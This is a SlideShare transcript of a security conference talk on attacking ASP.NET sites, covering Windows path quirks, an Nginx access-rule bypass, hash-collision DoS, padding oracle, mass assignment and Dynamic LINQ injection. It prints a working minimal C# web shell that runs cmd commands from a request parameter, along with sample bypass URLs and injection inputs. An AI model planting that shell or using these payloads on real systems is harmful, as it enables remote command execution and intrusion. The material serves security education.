SlideShare ist ein Scribd-Unternehmen logo
1 von 30
TO HACK AN ASP .NET WEBSITE?

HARD, BUT POSSIBLE!




                        Vladimir Kochetkov

                      Positive Technologies
A Blast From The Past: File System

   DOS devices and reserved names:

        NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - the colon is
optional, names can be used as part of the path
   Reserved characters:

        < > : "    / | ? *
   Case insensitivity of names:

        Filename == FileName == filename == FILENAME
   Support for short names 8.3:

        LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT
   Ending characters:

        Filename == Filename... == Filename
A Blast From The Past: File System

   Named pipe and mailslots (CreateFile):

        Hostpipe<name> , Hostmailslot<name>
   Alternative syntax of relative paths:

        C:Windowsnotepad.exe == C:notepad.exe , if Windows is a
current catalog of C:
   Substitutions (FindFirstFile):

        < == * , > == ? , " == .
   UNC and Unicode paths:

        C:WindowsSystem32
        HostC$WindowsSystem32
        .C:WindowsSystem32
        ?C:WindowsSystem32
        ?UNCHostC$WindowsSystem32
A Blast From The Past: File System

  Meta attributes and NTFS alternative data streams:

      Directory:<Name>:<Type>File:<Name>:<Type>

                Files Meta Attributes         Indices Meta Attributes

        $STANDARD_INFORMATION            $INDEX_ROOT

        $FILE_NAME                       $INDEX_ALLOCATION

        $DATA                            $BITMAP

        $ATTRIBUTE_LIST

        $OBJECT_ID

        $REPARSE_POINT


      C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe
      C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA
      FileName.aspx == FileName.aspx:.jpg
[PT-2012-06] Nginx Restrictions Bypass

  Severity level:            Medium (5.0)
                             (AV:N/AC:L/Au:N/C:P/I:N/A:N)

  Vulnerable versions:       Nginx for Windows <= v1.3

  Vector:                    Remote

  The flaw enables an intruder to forward HTTP requests to certain URL addresses,
  bypassing the rules set in the Location directives of the web server configuration.

  By exploiting the vulnerability, a potential hacker could gain access to the
  application source code and closed parts of the website, detect new vulnerabilities,
  steal passwords to the database or other services, etc.



  :$I30:$INDEX_ALLOCATION

  were processed as a part of the catalog name.
[PT-2012-06] Nginx Restrictions Bypass


                                   http://hostname/.svn/entries



                                       HTTP/1.1 403 Forbidden
                                       Server: nginx/1.2.0
  

  location ~/.svn/ {
      deny all;
  }
  

                                          HTTP/1.1 200 OK
                                          Server: nginx/1.2.0



                       http://hostname/.svn::$INDEX_ALLOCATION/entries

                         * A stable version of nginx-1.2.0 for Windows, released 2012-04-23
.NET Platform Architecture
Memory Corruption

   Interaction with native libraries, use of mix assemblies

        MS12-025, April 2012: - arbitrary code execution is triggered
by exploitation of an integer overflow vulnerability in gdiplus.dll
which causes heap corruption when calling the constructor of the
System.Drawing.Imaging.EncoderParameter class.
   Insecure managed code



         unsafe void bufferOverflow(string s)
         {
             char* ptr = stackalloc char[10];
             foreach (var c in s)
             {
                 *ptr++ = c
             }
         }
Turkish I And Other Peculiarities

  If two strings are compared with no regard to the current regional
  settings, the result might be quite unexpected:

  The English language:   I&i
  The Turkish language:   I&ı+İ&i
   <%@ Page Language="C#" Culture="Auto" %>
   <%@ Import Namespace="System.Globalization" %>
   <! DOCTYPE html>
   

   <script runat="server">
   

   if (Session["mode"].ToLower() != "admin")
   

   if (String.Compare(Request["path"]), 0,
   "FILE:", 0, 5, true)
   

Collision of Object Hashes

  System.Object.GetHashCode() returns a 32 bit hash code of an object (takes on
  values within the range from -2147483648 to 2147483647).




  (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
Collision in ASP .NET (MS11-100)

     Standard situation:                             Unusual situation:




     3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F
     X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&
     DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&
     LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR
     YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&
     MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=
     =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE

                                    
 over 4Mb form data 

                                     (https://github.com/HybrisDisaster/aspHashDoS)
A Tricky Plan (Post-Mortem MS11-100)


    1. Create 1000 collision strings
      for each combination ‘.NET
      version’/’hardware platform’


    2. Send each combination         as
      POST request parameters


    3. Measure the response time
      for each request


    4. ???

    5. ;)
.NET Web stack
ASP.NET / MVC
ASP.NET Peculiarities

  Special catalogs and files:

  -   App_Browser –browsers definition (*.browsers)

  -   App_Code – a source code of helper classes and

      logics

  -   App_Data – data stores

  -   App_GlobalResources, App_LocalResources –
      application resources (*.resx, *.resources)

  -   App_Themes – topics (*.skin, *.css, images, etc);

  -   App_WebReferences – links to web services
      (*.wsdl, *.xsd, *.disco, *.discomap)

  -   Bin – compiled builds used by the application

  -   web.config, web.*.config – configuration files that determine settings of the
      web server and application
ASP .NET Peculiarities

  Standard HTTP handlers:

  -   WebResource.axd – access to the static resources embedded in the application
      assemblies.

  -   ScriptResource.axd – access to JavaScripts embedded in the assemblies or stored on
      the disk.

  Usage:

  http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>
  Example:

  http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP
  8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-
  kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1
  where ‘d’ is an encrypted parameters:

  Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3
  8a3a9b
Padding Oracle (MS10-070)

  Consequences:

  – getting encryption/decryption keys:

        authentication cookies

        ViewState and Event Validation

        Arguments for WebRecource.axd and ScriptResource.axd =>

            Reading arbitrary files inside the application catalog
  Corrections:

        Padding error returns a generic error message

        A random number is used as IV

        The format of encrypted strings is changed for their validation

        ScriptResource.axd can handle only *.js files
ASP .NET Features

  Standard HTTP handlers:

  -   Trace.axd request tracing (available only in the debugging mode)
Features of LFI exploitation

  Response.WriteFile(<vfilename>)

  -   Allows including any file, except *.config, inside the application catalog

  -   The file is included statically without code execution

  -   Accepts virtual file name as an argument

  Server.Execute(<vfilename>)

  -   Allows including any file, except for *.config, into the application catalog

  -   Calls a handler for the sent file, includes the result into the response

  -   Accepts virtual file name as an argument

  File.ReadAllText(<filename>)

  -   Allows including any file if obtains enough privileges

  -   The file is included statically without code execution

  -   Accepts file name as an argument
Minimum C# Shell


      <%@ Page Language="C#" %>
      <%@ Import Namespace="System.Diagnostics" %>
      <%=
      Process.Start(
          new ProcessStartInfo(
              "cmd","/c " + Request["c"]
          )
          {
              UseShellExecute = false,
              RedirectStandardOutput = true
          }
      ).StandardOutput.ReadToEnd()
      %>
ViewState

  Meant to transfer data on view
  element to the server.

  -   Is transferred in the __VIEWSTATE
      parameter

  -   Encryption and integrity are not
      ensured in many cases

  -   Is used by developers for session
      data storage on the client, though is
      not meant for this

  -   Violation of its integrity can trigger
      exploitation of various threats from
      XXS to violation of application’s
      functionality.
Request and Event Validations

  Request Validation is an embedded simple WAF aimed at preventing XSS. Blocks
  all requests that contain:

                                  &#
                    < followed by a letter, !, / and ?
  Besides, it skips extraneous parameters started with с __



  Event Validation is an embedded mechanism of
  event data validation. It is a __EVENTVALIDATION
  parameter that stores hashes of acceptable elements of                  of
  forms, events, ViewState, etc.


  Contrary to the common belief,

  it is insufficient against CSRF attacks
  as a standard implementation instance.
Mass Assignment

Model:                       Controller:
public class User            public class UserController : Controller
{                            {
    public int Id                IUserRepository _userRepository;
        { get; set; }            public UserController(IUserRepository userRepository) {
    public string UserName           _userRepository = userRepository;
        { get; set; }            }
    public string Password
        { get; set; }            public ActionResult Edit(int id) {
    public bool IsAdmin              var user = _userRepository.GetUserById(id);
        { get; set; }                return View(user);
}                                }

                                 [HttpPost]
                                 public ActionResult Edit(int id, FormCollection collection) {
                                     try {
                                         var user = _userRepository.GetUserById(id);
                                         UpdateModel(user);
                                         _userRepository.SaveUser(user);
                                         return RedirectToAction("Index");
                                     } catch {
                                         return View();
                                     }
                                 }
                             }
Mass Assignment




            (http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
LINQ Injection

  LINQ is a query language embedded into the syntax of the .NET languages.


 var result = from item in itemsList
   where item.field1 % 2 == 0
   orderby item.field2 descending
   select new { item.field2, item.field3 };        Expression.Lambda<Predicate<int>>(
                                                     Expression.Equal(
                                                        Expression.Modulo(
                                                            parameterN,
                                                            Expression.Constant(2)
                                                        ),
                                                        Expression.Constant(0)
                                                     ),
                                                     parameterN);

 var result = itemsList
   .Where(x => x.field1 % 2 == 0)
   .Select(x => new { x.field2, x.field3 })
   .OrderByDescending(x => x.field2);
LINQ Injection

  Dynamic LINQ is one of a few libraries used to create dynamic run-
  time LINQ requests.
  Features:

  -   Definition of expressions by strings;
                                              var modifier = "0";
  -   Basic simple operations
                                              var result = itemsList
  -   Access to members of static and           .Where("field1 % 2 == " + modifier)
                                                .Select(x => new { x.field2, x.field3 })
  instant data types                            .OrderByDescending(x => x.field2);
  -   Type instantiation and

  anonymous types construction



  What if "modifier" is formed out of input
  data and contains

  0 OR 1 == 1 ?
LINQ Injection

  Injection’s limitations in Dynamic LINQ:

  -    Access to fields, properties and methods is available only for a collection type or
       for accessible types specified in the ‘white list’

  -    All expression parts must be executed without errors; error messages do not
       contain useful output

  -    Injection is performable only for isolated parts of requests

  Injection’s possibilities in Dynamic LINQ:

  -    Authentication / authorization bypass

  -    Unauthorized access to the collection data

  -    Abuse of functionality (provided that the collection objects have the statefull
       fields)

  -    Conduction of DoS attacks (DoS).

      Remote Code Execution is actual in other solutions
NorthWind DEMO


public AjaxStoreResult GetCustomers(int limit, int start, string dir, string sort)
{
    var query = (from c in this.DBContext.Customers
                select new
                {
                    c.CustomerID,
                    c.CompanyName,
                    c.ContactName,
                    c.Phone,
                    c.Fax,
                    c.Region
                }).OrderBy(string.Concat(sort, " ", dir));

    int total = query.ToList().Count;

    query = query.Skip(start).Take(limit);
    return new AjaxStoreResult(query, total);
}
NorthWind DEMO




                 Demo
Thank You for Your
    Attention!

    Questions?

              vkohetkov@ptsecurity.ru
                twitter: @kochetkov_v

Weitere Àhnliche Inhalte

Was ist angesagt?

Session fixation
Session fixationSession fixation
Session fixation
Muhammad Fahri
 
Unified Payment Interface
Unified Payment InterfaceUnified Payment Interface
Unified Payment Interface
Akash Chandra
 
e-Eommerce - Framework
e-Eommerce -  Frameworke-Eommerce -  Framework
e-Eommerce - Framework
Snehasish Mandal
 

Was ist angesagt? (20)

SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Electronic Payment Systems in E Commerce
Electronic Payment Systems in E CommerceElectronic Payment Systems in E Commerce
Electronic Payment Systems in E Commerce
 
Foundation Capital Research: The E-Commerce Landscape
Foundation Capital Research: The E-Commerce LandscapeFoundation Capital Research: The E-Commerce Landscape
Foundation Capital Research: The E-Commerce Landscape
 
UPI Presentation.pptx
UPI Presentation.pptxUPI Presentation.pptx
UPI Presentation.pptx
 
Session fixation
Session fixationSession fixation
Session fixation
 
Network security for E-Commerce
Network security for E-CommerceNetwork security for E-Commerce
Network security for E-Commerce
 
E banking security
E banking securityE banking security
E banking security
 
Unified Payment Interface
Unified Payment InterfaceUnified Payment Interface
Unified Payment Interface
 
Hacking & its types
Hacking & its typesHacking & its types
Hacking & its types
 
Web application security the fast guide
Web application security the fast guideWeb application security the fast guide
Web application security the fast guide
 
Social engineering
Social engineeringSocial engineering
Social engineering
 
Assignment Front page
Assignment Front pageAssignment Front page
Assignment Front page
 
Email security
Email securityEmail security
Email security
 
E Commerce -Security Threats and Challenges
E Commerce -Security Threats and ChallengesE Commerce -Security Threats and Challenges
E Commerce -Security Threats and Challenges
 
e-Eommerce - Framework
e-Eommerce -  Frameworke-Eommerce -  Framework
e-Eommerce - Framework
 
Cyber Crime and Security
Cyber Crime and SecurityCyber Crime and Security
Cyber Crime and Security
 
Sql injection
Sql injectionSql injection
Sql injection
 
Secure electronic transaction ppt
Secure electronic transaction pptSecure electronic transaction ppt
Secure electronic transaction ppt
 

Andere mochten auch

Claims Based Authentication A Beginners Guide
Claims Based Authentication A Beginners GuideClaims Based Authentication A Beginners Guide
Claims Based Authentication A Beginners Guide
Phuong Nguyen
 
Havij dork
Havij dorkHavij dork
Havij dork
iyusrusnadi
 
Cyberfolio 2007 - Lean.Joy
Cyberfolio 2007 - Lean.JoyCyberfolio 2007 - Lean.Joy
Cyberfolio 2007 - Lean.Joy
Leandro Rangel
 

Andere mochten auch (20)

Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ саĐčт ĐœĐ° ASP.NET
Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ саĐčт ĐœĐ° ASP.NETĐ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ саĐčт ĐœĐ° ASP.NET
Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ саĐčт ĐœĐ° ASP.NET
 
Practical rsa padding oracle attacks
Practical rsa padding oracle attacksPractical rsa padding oracle attacks
Practical rsa padding oracle attacks
 
Mobilise your ASP.NET website
Mobilise your ASP.NET websiteMobilise your ASP.NET website
Mobilise your ASP.NET website
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
 
How to create Orkut kind of Website in ASP.NET
How to create Orkut kind of Website in ASP.NETHow to create Orkut kind of Website in ASP.NET
How to create Orkut kind of Website in ASP.NET
 
Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ Web-саĐčт ĐœĐ° ASP.NET? ĐĄĐ»ĐŸĐ¶ĐœĐŸ, ĐœĐŸ ĐŒĐŸĐ¶ĐœĐŸ!
Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ Web-саĐčт ĐœĐ° ASP.NET? ĐĄĐ»ĐŸĐ¶ĐœĐŸ, ĐœĐŸ ĐŒĐŸĐ¶ĐœĐŸ!Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ Web-саĐčт ĐœĐ° ASP.NET? ĐĄĐ»ĐŸĐ¶ĐœĐŸ, ĐœĐŸ ĐŒĐŸĐ¶ĐœĐŸ!
Đ’Đ·Đ»ĐŸĐŒĐ°Ń‚ŃŒ Web-саĐčт ĐœĐ° ASP.NET? ĐĄĐ»ĐŸĐ¶ĐœĐŸ, ĐœĐŸ ĐŒĐŸĐ¶ĐœĐŸ!
 
Claims Based Authentication A Beginners Guide
Claims Based Authentication A Beginners GuideClaims Based Authentication A Beginners Guide
Claims Based Authentication A Beginners Guide
 
Understanding Claim based Authentication
Understanding Claim based AuthenticationUnderstanding Claim based Authentication
Understanding Claim based Authentication
 
Havij dork
Havij dorkHavij dork
Havij dork
 
Unethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injectionUnethical access to website’s databases hacking using sql injection
Unethical access to website’s databases hacking using sql injection
 
Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible! Hack an ASP .NET website? Hard, but possible!
Hack an ASP .NET website? Hard, but possible!
 
PHP SuperGlobals - Supersized Trouble
PHP SuperGlobals - Supersized TroublePHP SuperGlobals - Supersized Trouble
PHP SuperGlobals - Supersized Trouble
 
Prezi #hotelvertrieb#ecommerce#SEO_2021
Prezi #hotelvertrieb#ecommerce#SEO_2021Prezi #hotelvertrieb#ecommerce#SEO_2021
Prezi #hotelvertrieb#ecommerce#SEO_2021
 
Formazione formatori
Formazione formatori Formazione formatori
Formazione formatori
 
Sunny on Foody
Sunny on FoodySunny on Foody
Sunny on Foody
 
M Power
M PowerM Power
M Power
 
Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...
Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...
Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...
 
Le piattaforme per il social business
Le piattaforme per il social businessLe piattaforme per il social business
Le piattaforme per il social business
 
parameter tampering
parameter tamperingparameter tampering
parameter tampering
 
Cyberfolio 2007 - Lean.Joy
Cyberfolio 2007 - Lean.JoyCyberfolio 2007 - Lean.Joy
Cyberfolio 2007 - Lean.Joy
 

Ähnlich wie Hack ASP.NET website

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
webhostingguy
 
Ch 04 asp.net application
Ch 04 asp.net application Ch 04 asp.net application
Ch 04 asp.net application
Madhuri Kavade
 
Ch23 system administration
Ch23 system administration Ch23 system administration
Ch23 system administration
Raja Waseem Akhtar
 
IIS 7: The Administrator’s Guide
IIS 7: The Administrator’s GuideIIS 7: The Administrator’s Guide
IIS 7: The Administrator’s Guide
Information Technology
 
nodejs_at_a_glance.ppt
nodejs_at_a_glance.pptnodejs_at_a_glance.ppt
nodejs_at_a_glance.ppt
WalaSidhom1
 

Ähnlich wie Hack ASP.NET website (20)

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of users
 
Bh Win 03 Rileybollefer
Bh Win 03 RileybolleferBh Win 03 Rileybollefer
Bh Win 03 Rileybollefer
 
Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)
 
Ch 04 asp.net application
Ch 04 asp.net application Ch 04 asp.net application
Ch 04 asp.net application
 
Ch23 system administration
Ch23 system administration Ch23 system administration
Ch23 system administration
 
IIS 7: The Administrator’s Guide
IIS 7: The Administrator’s GuideIIS 7: The Administrator’s Guide
IIS 7: The Administrator’s Guide
 
Book
BookBook
Book
 
Rapid API development examples for Impress Application Server / Node.js (jsfw...
Rapid API development examples for Impress Application Server / Node.js (jsfw...Rapid API development examples for Impress Application Server / Node.js (jsfw...
Rapid API development examples for Impress Application Server / Node.js (jsfw...
 
nodejs_at_a_glance.ppt
nodejs_at_a_glance.pptnodejs_at_a_glance.ppt
nodejs_at_a_glance.ppt
 
Asp.net tips
Asp.net tipsAsp.net tips
Asp.net tips
 
RESTEasy
RESTEasyRESTEasy
RESTEasy
 
Asp.net
Asp.netAsp.net
Asp.net
 
Do you know what your drupal is doing? Observe it!
Do you know what your drupal is doing? Observe it!Do you know what your drupal is doing? Observe it!
Do you know what your drupal is doing? Observe it!
 
Web Security
Web SecurityWeb Security
Web Security
 
Local SQLite Database with Node for beginners
Local SQLite Database with Node for beginnersLocal SQLite Database with Node for beginners
Local SQLite Database with Node for beginners
 
Red5 - PHUG Workshops
Red5 - PHUG WorkshopsRed5 - PHUG Workshops
Red5 - PHUG Workshops
 
Practical OData
Practical ODataPractical OData
Practical OData
 
UEMB200: Next Generation of Endpoint Management Architecture and Discovery Se...
UEMB200: Next Generation of Endpoint Management Architecture and Discovery Se...UEMB200: Next Generation of Endpoint Management Architecture and Discovery Se...
UEMB200: Next Generation of Endpoint Management Architecture and Discovery Se...
 

Mehr von Positive Hack Days

ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
ĐœĐ”Ń‚ĐŸĐŽĐžĐșĐ° ĐŸĐżŃ€Đ”ĐŽĐ”Đ»Đ”ĐœĐžŃ ĐœĐ”ĐžŃĐżĐŸĐ»ŃŒĐ·ŃƒĐ”ĐŒŃ‹Ń… Ń€Đ”ŃŃƒŃ€ŃĐŸĐČ ĐČĐžŃ€Ń‚ŃƒĐ°Đ»ŃŒĐœŃ‹Ń… ĐŒĐ°ŃˆĐžĐœ Đž Đ°ĐČŃ‚ĐŸĐŒĐ°Ń‚ĐžĐ·Đ°Ń†Đž...
Positive Hack Days
 
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application SecurityÂ»ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
ĐœĐ°ŃŃ‚Đ”Ń€-Đșласс Â«ĐąŃ€ŃƒŃ‰ĐŸĐ±Ń‹ Application Security»
Positive Hack Days
 
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐčĐ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ€ĐŸŃ€ĐŒĐ°Đ»ŃŒĐœŃ‹Đ” ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Positive Hack Days
 
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐčĐ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Đ­ĐČрОстОчДсĐșОД ĐŒĐ”Ń‚ĐŸĐŽŃ‹ защОты ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐč
Positive Hack Days
 
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application SecurityĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
ĐąĐ”ĐŸŃ€Đ”Ń‚ĐžŃ‡Đ”ŃĐșОД ĐŸŃĐœĐŸĐČы Application Security
Positive Hack Days
 
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДтОт эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
От эĐșŃĐżĐ”Ń€ĐžĐŒĐ”ĐœŃ‚Đ°Đ»ŃŒĐœĐŸĐłĐŸ ĐżŃ€ĐŸĐłŃ€Đ°ĐŒĐŒĐžŃ€ĐŸĐČĐ°ĐœĐžŃ Đș ĐżŃ€ĐŸĐŒŃ‹ŃˆĐ»Đ”ĐœĐœĐŸĐŒŃƒ: путь ĐŽĐ»ĐžĐœĐŸĐč ĐČ 10 лДт
Positive Hack Days
 
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° ĐłŃ€Đ°Đ±Đ»ĐžĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
ĐŁŃĐ·ĐČĐžĐŒĐŸĐ” Android-ĐżŃ€ĐžĐ»ĐŸĐ¶Đ”ĐœĐžĐ”: N ĐżŃ€ĐŸĐČĐ”Ń€Đ”ĐœĐœŃ‹Ń… ŃĐżĐŸŃĐŸĐ±ĐŸĐČ ĐœĐ°ŃŃ‚ŃƒĐżĐžŃ‚ŃŒ ĐœĐ° граблО
Positive Hack Days
 
ĐąŃ€Đ”Đ±ĐŸĐČĐ°ĐœĐžŃ ĐżĐŸ Đ±Đ”Đ·ĐŸĐżĐ°ŃĐœĐŸŃŃ‚Đž ĐČ Đ°Ń€Ń…ĐžŃ‚Đ”ĐșŃ‚ŃƒŃ€Đ” ПО
